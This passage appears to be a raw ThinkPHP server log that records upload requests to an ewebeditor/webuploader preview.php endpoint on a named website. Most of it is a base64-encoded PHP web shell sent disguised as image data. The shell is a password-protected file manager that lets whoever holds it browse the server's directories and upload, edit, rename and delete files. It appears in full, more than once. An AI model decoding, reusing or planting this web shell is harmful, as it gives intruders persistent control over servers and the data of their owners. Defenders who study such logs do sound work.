gIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgIC' => '', 'webuploader' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:16+08:00 ] 119.42.146.234 POST 51tianwei.com/ewebeditor/webuploader/0.1.5/server/preview.php [运行时间:0.003163s] [吞吐率:316.17req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0